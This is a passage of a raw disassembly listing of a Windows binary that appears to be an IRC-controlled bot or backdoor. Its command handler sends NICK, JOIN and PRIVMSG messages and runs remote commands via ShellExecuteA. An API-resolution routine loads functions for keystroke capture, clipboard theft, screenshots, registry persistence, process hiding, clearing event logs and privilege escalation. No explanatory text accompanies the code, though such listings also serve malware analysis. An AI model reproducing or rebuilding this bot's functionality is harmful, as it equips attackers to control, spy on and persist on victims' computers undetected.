sub_401AA1+773Ej add esp, 10h jmp loc_406BC3 ; --------------------------------------------------------------------------- loc_40911D: ; CODE XREF: sub_401AA1+3F0Bj ; sub_401AA1+3F22j push edi call sub_41BDE9 push eax call sub_41A03B xor esi, esi pop ecx inc esi pop ecx cmp eax, esi push edi lea eax, [ebp+var_2C0] jnz short loc_409140 push offset dword_42BB78 jmp short loc_409145 ; --------------------------------------------------------------------------- loc_409140: ; CODE XREF: sub_401AA1+7696j push offset dword_42BB20 loc_409145: ; CODE XREF: sub_401AA1+769Dj push eax call sub_41BEF6 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406BE7 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409743 add esp, 14h jmp loc_406BE7 ; --------------------------------------------------------------------------- loc_409178: ; CODE XREF: sub_401AA1+3EDDj ; sub_401AA1+3EF4j push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_419D3A add esp, 18h cmp eax, 1 push edi jnz short loc_40919A push offset dword_42BAD8 jmp loc_406BB4 ; --------------------------------------------------------------------------- loc_40919A: ; CODE XREF: sub_401AA1+76EDj push offset dword_42BA88 jmp loc_406BB4 ; --------------------------------------------------------------------------- loc_4091A4: ; CODE XREF: sub_401AA1+3EAFj ; sub_401AA1+3EC6j push edi call dword_4CE348 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_2D4], eax jz short loc_4091E4 push 2 lea eax, [ebp+var_2D4] push 4 push eax call dword_4CE2C0 ; gethostbyaddr cmp eax, ebx jz short loc_4091FF push dword ptr [eax] loc_4091CD: ; CODE XREF: sub_401AA1+775Cj push edi lea eax, [ebp+var_2C0] push offset unk_42BA68 push eax call sub_41BEF6 jmp loc_409115 ; --------------------------------------------------------------------------- loc_4091E4: ; CODE XREF: sub_401AA1+7713j push edi call dword_4CE38C ; gethostbyname cmp eax, ebx jz short loc_4091FF mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CE394 ; inet_ntoa push eax jmp short loc_4091CD ; --------------------------------------------------------------------------- loc_4091FF: ; CODE XREF: sub_401AA1+7728j ; sub_401AA1+774Cj push offset unk_42BA40 jmp loc_406169 ; --------------------------------------------------------------------------- loc_409209: ; CODE XREF: sub_401AA1+3E81j ; sub_401AA1+3E98j push 7Fh push edi push [ebp+arg_14] call sub_41BC60 push edi lea eax, [ebp+var_2C0] push offset dword_42BA00 push eax call sub_41BEF6 add esp, 18h jmp loc_406DEB ; --------------------------------------------------------------------------- loc_40922E: ; CODE XREF: sub_401AA1+3E53j ; sub_401AA1+3E6Aj push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_4CE274 ; ShellExecuteA test eax, eax push edi jz short loc_40924E push offset dword_42B9C4 jmp loc_406BB4 ; --------------------------------------------------------------------------- loc_40924E: ; CODE XREF: sub_401AA1+77A1j push offset dword_42B980 jmp loc_406BB4 ; --------------------------------------------------------------------------- loc_409258: ; CODE XREF: sub_401AA1+3E25j ; sub_401AA1+3E3Cj mov al, [edi] mov byte_42A980, al movsx eax, byte ptr [edi] push eax push offset dword_42B938 jmp loc_404968 ; --------------------------------------------------------------------------- loc_40926D: ; CODE XREF: sub_401AA1+3DF7j ; sub_401AA1+3E0Ej push edi call sub_41BDE9 test eax, eax pop ecx jle loc_409567 push edi call sub_41BDE9 cmp eax, 400h pop ecx jge loc_409567 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40AD20 push eax lea eax, [ebp+var_2C0] push offset dword_42DAA8 push eax call sub_41BEF6 add esp, 1Ch jmp loc_4087E3 ; --------------------------------------------------------------------------- loc_4092B8: ; CODE XREF: sub_401AA1+3DC9j ; sub_401AA1+3DE0j push edi call sub_41BDE9 test eax, eax pop ecx jle loc_401F20 push edi call sub_41BDE9 cmp eax, 400h pop ecx jge loc_401F20 push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_41BDE9 imul eax, 234h pop ecx push dword_441254[eax] call sub_4096FD pop ecx pop ecx push 1F4h call dword_428080 ; Sleep push edi call sub_41BDE9 imul eax, 234h pop ecx push dword_441254[eax] call dword_4CE3A0 ; closesocket push [ebp+var_10] push edi call sub_41BDE9 imul eax, 234h pop ecx push dword_44125C[eax] call dword_4280B4 ; TerminateThread push edi call sub_41BDE9 imul eax, 234h push edi mov dword_44125C[eax], ebx call sub_41BDE9 imul eax, 234h pop ecx pop ecx mov byte ptr dword_441048[eax], bl jmp loc_401F20 ; --------------------------------------------------------------------------- loc_409363: ; CODE XREF: sub_401AA1+3D9Bj ; sub_401AA1+3DB2j push edi push offset dword_42B934 call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_409392 call sub_40B417 cmp eax, ebx jle short loc_409388 push eax push offset dword_42B8F0 jmp loc_4071F1 ; --------------------------------------------------------------------------- loc_409388: ; CODE XREF: sub_401AA1+78DAj push offset unk_42B8A8 jmp loc_403F26 ; --------------------------------------------------------------------------- loc_409392: ; CODE XREF: sub_401AA1+78D1j mov eax, [ebp+var_A4] lea esi, [eax+1] jmp short loc_409409 ; --------------------------------------------------------------------------- loc_40939D: ; CODE XREF: sub_401AA1+796Bj mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401F20 push edi call sub_41BDE9 push eax call sub_40B38F pop ecx pop ecx test eax, eax push edi lea eax, [ebp+var_2C0] jz short loc_4093CC push offset dword_42B860 jmp short loc_4093D1 ; --------------------------------------------------------------------------- loc_4093CC: ; CODE XREF: sub_401AA1+7922j push offset dword_42B810 loc_4093D1: ; CODE XREF: sub_401AA1+7929j push eax call sub_41BEF6 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4093FB push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409743 add esp, 14h loc_4093FB: ; CODE XREF: sub_401AA1+793Cj lea eax, [ebp+var_2C0] push eax call sub_415F45 pop ecx inc esi loc_409409: ; CODE XREF: sub_401AA1+78FAj cmp esi, 20h jb short loc_40939D jmp loc_401F20 ; --------------------------------------------------------------------------- loc_409413: ; CODE XREF: sub_401AA1+3D6Dj ; sub_401AA1+3D84j cmp [ebp+var_C], ebx jz loc_409567 push edi push [ebp+var_C] call sub_41BF70 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409567 push esi push offset dword_42C14C push [ebp+arg_4] call sub_4096FD push esi push offset dword_42B7D4 jmp loc_4089BF ; --------------------------------------------------------------------------- loc_40944A: ; CODE XREF: sub_401AA1+3D3Fj ; sub_401AA1+3D56j push edi push offset dword_42C094 push [ebp+arg_4] call sub_4096FD push edi push offset dword_42B790 jmp loc_4089BF ; --------------------------------------------------------------------------- loc_409463: ; CODE XREF: sub_401AA1+3D11j ; sub_401AA1+3D28j push [ebp+esi+var_88] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_4096FD push edi push offset dword_42B748 jmp loc_408896 ; --------------------------------------------------------------------------- loc_409483: ; CODE XREF: sub_401AA1+3CE3j ; sub_401AA1+3CFAj push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_4096FD push edi push offset dword_42B704 jmp loc_4089BF ; --------------------------------------------------------------------------- loc_40949C: ; CODE XREF: sub_401AA1+3136j ; sub_401AA1+314Dj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_4096FD push edi lea eax, [ebp+var_2C0] push offset unk_42B6C4 push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_415F45 push edi call sub_41BDE9 add esp, 1Ch loc_4094D0: ; CODE XREF: sub_401AA1+7A77j push eax call dword_428080 ; Sleep loc_4094D7: ; CODE XREF: sub_401AA1+2A55j xor eax, eax jmp loc_401F23 ; --------------------------------------------------------------------------- loc_4094DE: ; CODE XREF: sub_401AA1+3108j ; sub_401AA1+311Fj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_4096FD push edi lea eax, [ebp+var_2C0] push offset unk_42B680 push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_415F45 push edi call sub_41BDE9 add esp, 1Ch imul eax, 3E8h jmp short loc_4094D0 ; --------------------------------------------------------------------------- loc_40951A: ; CODE XREF: sub_401AA1+E67j ; sub_401AA1+E7Cj push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42A988 push eax call sub_40AD20 lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_4096FD lea eax, [ebp+var_338] push eax push offset dword_42B640 call sub_415FB9 loc_409564: ; CODE XREF: sub_401AA1+51ADj add esp, 24h loc_409567: ; CODE XREF: sub_401AA1+614j ; sub_401AA1+620j ... mov eax, [ebp+arg_24] jmp loc_401F23 ; --------------------------------------------------------------------------- loc_40956F: ; CODE XREF: sub_401AA1+A5Fj ; sub_401AA1+A74j mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_20], esi jz loc_401F20 cmp [ebp+var_A8], ebx jnz loc_401F20 push offset asc_42F5E4 ; "!" push [ebp+var_90] call sub_41C764 mov esi, eax push offset dword_4CE1C0 push ebx inc esi call sub_41C764 push offset dword_42B63C push eax call sub_41C764 push [ebp+arg_20] mov edi, eax push offset dword_42AA14 call sub_41C6E0 add esp, 20h test eax, eax jz short loc_409617 loc_4095CC: ; CODE XREF: sub_401AA1+7B98j lea eax, [ebp+var_C0] push edi push eax lea eax, [ebp+var_C0] push eax push offset dword_42B610 push [ebp+arg_4] call sub_4096FD lea eax, [ebp+var_C0] push eax push offset dword_42B5D8 push [ebp+arg_4] call sub_4096FD push edi push esi lea eax, [ebp+var_2C0] push offset dword_42B590 push eax call sub_41BEF6 add esp, 30h jmp loc_402399 ; --------------------------------------------------------------------------- loc_409617: ; CODE XREF: sub_401AA1+7B29j mov [ebp+arg_24], ebx loc_40961A: ; CODE XREF: sub_401AA1+7B96j mov eax, [ebp+arg_24] push edi push off_42AAB8[eax] call sub_40B5A7 pop ecx test eax, eax pop ecx jnz short loc_40963B add [ebp+arg_24], 4 cmp [ebp+arg_24], 4 jb short loc_40961A jmp short loc_4095CC ; --------------------------------------------------------------------------- loc_40963B: ; CODE XREF: sub_401AA1+7B8Cj mov edi, [ebp+arg_18] xor esi, esi loc_409640: ; CODE XREF: sub_401AA1+7BC0j cmp [edi], bl jnz short loc_409657 push [ebp+arg_20] push offset dword_42AA14 call sub_41C6E0 pop ecx test eax, eax pop ecx jz short loc_409668 loc_409657: ; CODE XREF: sub_401AA1+7BA1j inc esi add edi, 80h cmp esi, 3 jl short loc_409640 jmp loc_401F20 ; --------------------------------------------------------------------------- loc_409668: ; CODE XREF: sub_401AA1+7BB4j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E04] push 7Fh push eax push esi call sub_41BC60 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40969F push ebx push [ebp+var_4] push offset dword_42B540 push [ebp+var_88] push [ebp+arg_4] call sub_409743 add esp, 14h loc_40969F: ; CODE XREF: sub_401AA1+7BE2j lea eax, [ebp+var_C0] push eax push offset dword_42B500 loc_4096AB: ; CODE XREF: sub_401AA1+56Cj ; sub_401AA1+2831j ... call sub_415FB9 loc_4096B0: ; CODE XREF: sub_401AA1:loc_4035DCj pop ecx loc_4096B1: ; CODE XREF: sub_401AA1+24C0j pop ecx jmp loc_401F20 ; --------------------------------------------------------------------------- loc_4096B7: ; CODE XREF: sub_401AA1+200j ; sub_401AA1+215j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_4096FD push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_4096FD push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_4096FD add esp, 2Ch mov dword_4CE1B8, edi jmp loc_401D30 sub_401AA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4096FD proc near ; CODE XREF: sub_401925+3Dp ; sub_401AA1+1BDp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C800 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CE358 ; send leave retn sub_4096FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409743 proc near ; CODE XREF: sub_401AA1+4DDp ; sub_401AA1+1308p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_40975E mov edi, offset aPrivmsg ; "PRIVMSG" loc_40975E: ; CODE XREF: sub_409743+14j push edi call sub_41B650 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41B650 push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_400] push offset aS_2 ; "%s" push esi push eax call sub_41BFF0 lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41BEF6 add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CE358 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_4097DC push 7D0h call dword_428080 ; Sleep locret_4097DC: ; CODE XREF: sub_409743+8Cj leave retn sub_409743 endp ; =============== S U B R O U T I N E ======================================= sub_4097DE proc near ; CODE XREF: sub_40121E+4Bp push ebx push ebp mov ebp, dword_4280A4 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; GetModuleHandleA mov esi, dword_4280C4 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_4098FE push offset aSeterrormode ; "SetErrorMode" push edi call esi ; GetProcAddress push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CE3B4, eax call esi ; GetProcAddress push offset aProcess32first ; "Process32First" push edi mov dword_4CE328, eax call esi ; GetProcAddress push offset aProcess32next ; "Process32Next" push edi mov dword_4CE30C, eax call esi ; GetProcAddress push offset aModule32first ; "Module32First" push edi mov dword_4CE21C, eax call esi ; GetProcAddress push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CE1C8, eax call esi ; GetProcAddress push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CE1F8, eax call esi ; GetProcAddress push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CE270, eax call esi ; GetProcAddress push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CE368, eax call esi ; GetProcAddress push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CE3C0, eax call esi ; GetProcAddress push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CE228, eax call esi ; GetProcAddress cmp dword_4CE3B4, ebx mov dword_4CE210, eax jz short loc_4098DC cmp dword_4CE328, ebx jz short loc_4098DC cmp dword_4CE30C, ebx jz short loc_4098DC cmp dword_4CE21C, ebx jz short loc_4098DC cmp dword_4CE1F8, ebx jz short loc_4098DC cmp dword_4CE270, ebx jz short loc_4098DC cmp dword_4CE368, ebx jz short loc_4098DC cmp dword_4CE3C0, ebx jz short loc_4098DC cmp dword_4CE228, ebx jz short loc_4098DC cmp eax, ebx jnz short loc_4098E6 loc_4098DC: ; CODE XREF: sub_4097DE+B8j ; sub_4097DE+C0j ... mov dword_4CE3C4, 1 loc_4098E6: ; CODE XREF: sub_4097DE+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_4CE340, eax jz short loc_409913 push 1 push ebx call eax jmp short loc_409913 ; --------------------------------------------------------------------------- loc_4098FE: ; CODE XREF: sub_4097DE+1Dj call dword_428094 ; RtlGetLastWin32Error mov dword_4CE3C8, eax mov dword_4CE3C4, 1 loc_409913: ; CODE XREF: sub_4097DE+117j ; sub_4097DE+11Ej push offset aUser32_dll ; "user32.dll" call dword_4280C0 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_409A28 push offset aSendmessagea ; "SendMessageA" push edi call esi ; GetProcAddress push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CE364, eax call esi ; GetProcAddress push offset aIswindow ; "IsWindow" push edi mov dword_4CE314, eax call esi ; GetProcAddress push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CE2A8, eax call esi ; GetProcAddress push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CE3B8, eax call esi ; GetProcAddress push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CE2D8, eax call esi ; GetProcAddress push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CE2F8, eax call esi ; GetProcAddress push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CE35C, eax call esi ; GetProcAddress cmp dword_4CE364, ebx mov dword_4CE248, eax jz short loc_4099CC cmp dword_4CE314, ebx jz short loc_4099CC cmp dword_4CE2A8, ebx jz short loc_4099CC cmp dword_4CE3B8, ebx jz short loc_4099CC cmp dword_4CE2D8, ebx jz short loc_4099CC cmp dword_4CE2F8, ebx jz short loc_4099CC cmp dword_4CE35C, ebx jz short loc_4099CC cmp eax, ebx jnz short loc_4099D6 loc_4099CC: ; CODE XREF: sub_4097DE+1B8j ; sub_4097DE+1C0j ... mov dword_4CE3CC, 1 loc_4099D6: ; CODE XREF: sub_4097DE+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi ; GetProcAddress push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CE2D4, eax call esi ; GetProcAddress push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CE1DC, eax call esi ; GetProcAddress push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CE2A4, eax call esi ; GetProcAddress cmp dword_4CE2D4, ebx mov dword_4CE28C, eax jz short loc_409A33 cmp dword_4CE1DC, ebx jz short loc_409A33 cmp dword_4CE2A4, ebx jz short loc_409A33 cmp eax, ebx jnz short loc_409A3D jmp short loc_409A33 ; --------------------------------------------------------------------------- loc_409A28: ; CODE XREF: sub_4097DE+144j call dword_428094 ; RtlGetLastWin32Error mov dword_4CE3D0, eax loc_409A33: ; CODE XREF: sub_4097DE+232j ; sub_4097DE+23Aj ... mov dword_4CE3CC, 1 loc_409A3D: ; CODE XREF: sub_4097DE+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_409BF6 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; GetProcAddress push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CE378, eax call esi ; GetProcAddress push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CE2BC, eax call esi ; GetProcAddress push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CE32C, eax call esi ; GetProcAddress push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CE208, eax call esi ; GetProcAddress push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CE26C, eax call esi ; GetProcAddress push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CE2E4, eax call esi ; GetProcAddress push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CE288, eax call esi ; GetProcAddress cmp dword_4CE378, ebx mov dword_4CE298, eax jz short loc_409AE6 cmp dword_4CE2BC, ebx jz short loc_409AE6 cmp dword_4CE32C, ebx jz short loc_409AE6 cmp dword_4CE208, ebx jz short loc_409AE6 cmp dword_4CE26C, ebx jz short loc_409AE6 cmp dword_4CE2E4, ebx jnz short loc_409AF0 loc_409AE6: ; CODE XREF: sub_4097DE+2DEj ; sub_4097DE+2E6j ... mov dword_4CE3D4, 1 loc_409AF0: ; CODE XREF: sub_4097DE+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CE2EC, eax call esi ; GetProcAddress push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CE2C4, eax call esi ; GetProcAddress cmp dword_4CE2EC, ebx mov dword_4CE374, eax jz short loc_409B2B cmp dword_4CE2C4, ebx jz short loc_409B2B cmp eax, ebx jnz short loc_409B35 loc_409B2B: ; CODE XREF: sub_4097DE+33Fj ; sub_4097DE+347j mov dword_4CE3D4, 1 loc_409B35: ; CODE XREF: sub_4097DE+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; GetProcAddress push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CE2FC, eax call esi ; GetProcAddress push offset aStartservicea ; "StartServiceA" push edi mov dword_4CE1E4, eax call esi ; GetProcAddress push offset aControlservice ; "ControlService" push edi mov dword_4CE1EC, eax call esi ; GetProcAddress push offset aDeleteservice ; "DeleteService" push edi mov dword_4CE250, eax call esi ; GetProcAddress push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CE254, eax call esi ; GetProcAddress push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CE200, eax call esi ; GetProcAddress push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CE2C8, eax call esi ; GetProcAddress cmp dword_4CE2FC, ebx mov dword_4CE1F0, eax jz short loc_409BD9 cmp dword_4CE1E4, ebx jz short loc_409BD9 cmp dword_4CE1EC, ebx jz short loc_409BD9 cmp dword_4CE250, ebx jz short loc_409BD9 cmp dword_4CE254, ebx jz short loc_409BD9 cmp dword_4CE200, ebx jz short loc_409BD9 cmp dword_4CE2C8, ebx jz short loc_409BD9 cmp eax, ebx jnz short loc_409BE3 loc_409BD9: ; CODE XREF: sub_4097DE+3C5j ; sub_4097DE+3CDj ... mov dword_4CE3D4, 1 loc_409BE3: ; CODE XREF: sub_4097DE+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_4CE1E8, eax jnz short loc_409C0B jmp short loc_409C01 ; --------------------------------------------------------------------------- loc_409BF6: ; CODE XREF: sub_4097DE+26Aj call dword_428094 ; RtlGetLastWin32Error mov dword_4CE3D8, eax loc_409C01: ; CODE XREF: sub_4097DE+416j mov dword_4CE3D4, 1 loc_409C0B: ; CODE XREF: sub_4097DE+414j push offset aGdi32_dll ; "gdi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_409CD7 push offset aCreatedca ; "CreateDCA" push edi call esi ; GetProcAddress push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CE2F4, eax call esi ; GetProcAddress push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CE34C, eax call esi ; GetProcAddress push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CE354, eax call esi ; GetProcAddress push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CE310, eax call esi ; GetProcAddress push offset aSelectobject ; "SelectObject" push edi mov dword_4CE22C, eax call esi ; GetProcAddress push offset aBitblt ; "BitBlt" push edi mov dword_4CE1D8, eax call esi ; GetProcAddress push offset aDeletedc ; "DeleteDC" push edi mov dword_4CE350, eax call esi ; GetProcAddress push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CE1C4, eax call esi ; GetProcAddress cmp dword_4CE2F4, ebx mov dword_4CE264, eax jz short loc_409CE2 cmp dword_4CE34C, ebx jz short loc_409CE2 cmp dword_4CE354, ebx jz short loc_409CE2 cmp dword_4CE310, ebx jz short loc_409CE2 cmp dword_4CE22C, ebx jz short loc_409CE2 cmp dword_4CE1D8, ebx jz short loc_409CE2 cmp dword_4CE350, ebx jz short loc_409CE2 cmp dword_4CE1C4, ebx jz short loc_409CE2 cmp eax, ebx jnz short loc_409CEC jmp short loc_409CE2 ; --------------------------------------------------------------------------- loc_409CD7: ; CODE XREF: sub_4097DE+438j call dword_428094 ; RtlGetLastWin32Error mov dword_4CE3E0, eax loc_409CE2: ; CODE XREF: sub_4097DE+4B9j ; sub_4097DE+4C1j ... mov dword_4CE3DC, 1 loc_409CEC: ; CODE XREF: sub_4097DE+4F5j mov ebp, dword_4280C0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_409FA8 push offset aWsastartup ; "WSAStartup" push edi call esi ; GetProcAddress push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CE278, eax call esi ; GetProcAddress push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CE3AC, eax call esi ; GetProcAddress push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CE218, eax call esi ; GetProcAddress push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CE1F4, eax call esi ; GetProcAddress push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CE2B4, eax call esi ; GetProcAddress push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CE29C, eax call esi ; GetProcAddress push offset aSocket ; "socket" push edi mov dword_4CE260, eax call esi ; GetProcAddress push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CE388, eax call esi ; GetProcAddress push offset aConnect ; "connect" push edi mov dword_4CE3A4, eax call esi ; GetProcAddress push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CE2B0, eax call esi ; GetProcAddress push offset aInet_addr ; "inet_addr" push edi mov dword_4CE394, eax call esi ; GetProcAddress push offset aHtons ; "htons" push edi mov dword_4CE348, eax call esi ; GetProcAddress push offset aHtonl ; "htonl" push edi mov dword_4CE308, eax call esi ; GetProcAddress push offset aNtohs ; "ntohs" push edi mov dword_4CE304, eax call esi ; GetProcAddress push offset aNtohl ; "ntohl" push edi mov dword_4CE238, eax call esi ; GetProcAddress push offset aSend ; "send" push edi mov dword_4CE230, eax call esi ; GetProcAddress push offset aSendto ; "sendto" push edi mov dword_4CE358, eax call esi ; GetProcAddress push offset aRecv ; "recv" push edi mov dword_4CE36C, eax call esi ; GetProcAddress push offset aRecvfrom ; "recvfrom" push edi mov dword_4CE320, eax call esi ; GetProcAddress mov dword_4CE2E0, eax push offset aBind ; "bind" push edi call esi ; GetProcAddress push offset aSelect ; "select" push edi mov dword_4CE334, eax call esi ; GetProcAddress push offset aListen ; "listen" push edi mov dword_4CE2F0, eax call esi ; GetProcAddress push offset aAccept ; "accept" push edi mov dword_4CE330, eax call esi ; GetProcAddress push offset aSetsockopt ; "setsockopt" push edi mov dword_4CE39C, eax call esi ; GetProcAddress push offset aGetsockname ; "getsockname" push edi mov dword_4CE2E8, eax call esi ; GetProcAddress push offset aGethostname ; "gethostname" push edi mov dword_4CE2AC, eax call esi ; GetProcAddress push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CE31C, eax call esi ; GetProcAddress push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CE38C, eax call esi ; GetProcAddress push offset aGetpeername ; "getpeername" push edi mov dword_4CE2C0, eax call esi ; GetProcAddress push offset aClosesocket ; "closesocket" push edi mov dword_4CE25C, eax call esi ; GetProcAddress cmp dword_4CE278, ebx mov dword_4CE3A0, eax jz loc_409FB3 cmp dword_4CE3AC, ebx jz loc_409FB3 cmp dword_4CE218, ebx jz loc_409FB3 cmp dword_4CE2B4, ebx jz loc_409FB3 cmp dword_4CE29C, ebx jz loc_409FB3 cmp dword_4CE260, ebx jz loc_409FB3 cmp dword_4CE388, ebx jz loc_409FB3 cmp dword_4CE3A4, ebx jz loc_409FB3 cmp dword_4CE2B0, ebx jz loc_409FB3 cmp dword_4CE394, ebx jz loc_409FB3 cmp dword_4CE348, ebx jz loc_409FB3 cmp dword_4CE308, ebx jz loc_409FB3 cmp dword_4CE304, ebx jz loc_409FB3 cmp dword_4CE238, ebx jz short loc_409FB3 cmp dword_4CE358, ebx jz short loc_409FB3 cmp dword_4CE36C, ebx jz short loc_409FB3 cmp dword_4CE320, ebx jz short loc_409FB3 cmp dword_4CE2E0, ebx jz short loc_409FB3 cmp dword_4CE334, ebx jz short loc_409FB3 cmp dword_4CE2F0, ebx jz short loc_409FB3 cmp dword_4CE330, ebx jz short loc_409FB3 cmp dword_4CE39C, ebx jz short loc_409FB3 cmp dword_4CE2E8, ebx jz short loc_409FB3 cmp dword_4CE2AC, ebx jz short loc_409FB3 cmp dword_4CE31C, ebx jz short loc_409FB3 cmp dword_4CE38C, ebx jz short loc_409FB3 cmp dword_4CE2C0, ebx jz short loc_409FB3 cmp eax, ebx jnz short loc_409FBD jmp short loc_409FB3 ; --------------------------------------------------------------------------- loc_409FA8: ; CODE XREF: sub_4097DE+51Fj call dword_428094 ; RtlGetLastWin32Error mov dword_4CE3E8, eax loc_409FB3: ; CODE XREF: sub_4097DE+6BEj ; sub_4097DE+6CAj ... mov dword_4CE3E4, 1 loc_409FBD: ; CODE XREF: sub_4097DE+7C6j push offset aWininet_dll ; "wininet.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A0C2 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; GetProcAddress push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CE244, eax call esi ; GetProcAddress push offset aHttpopenreques ; 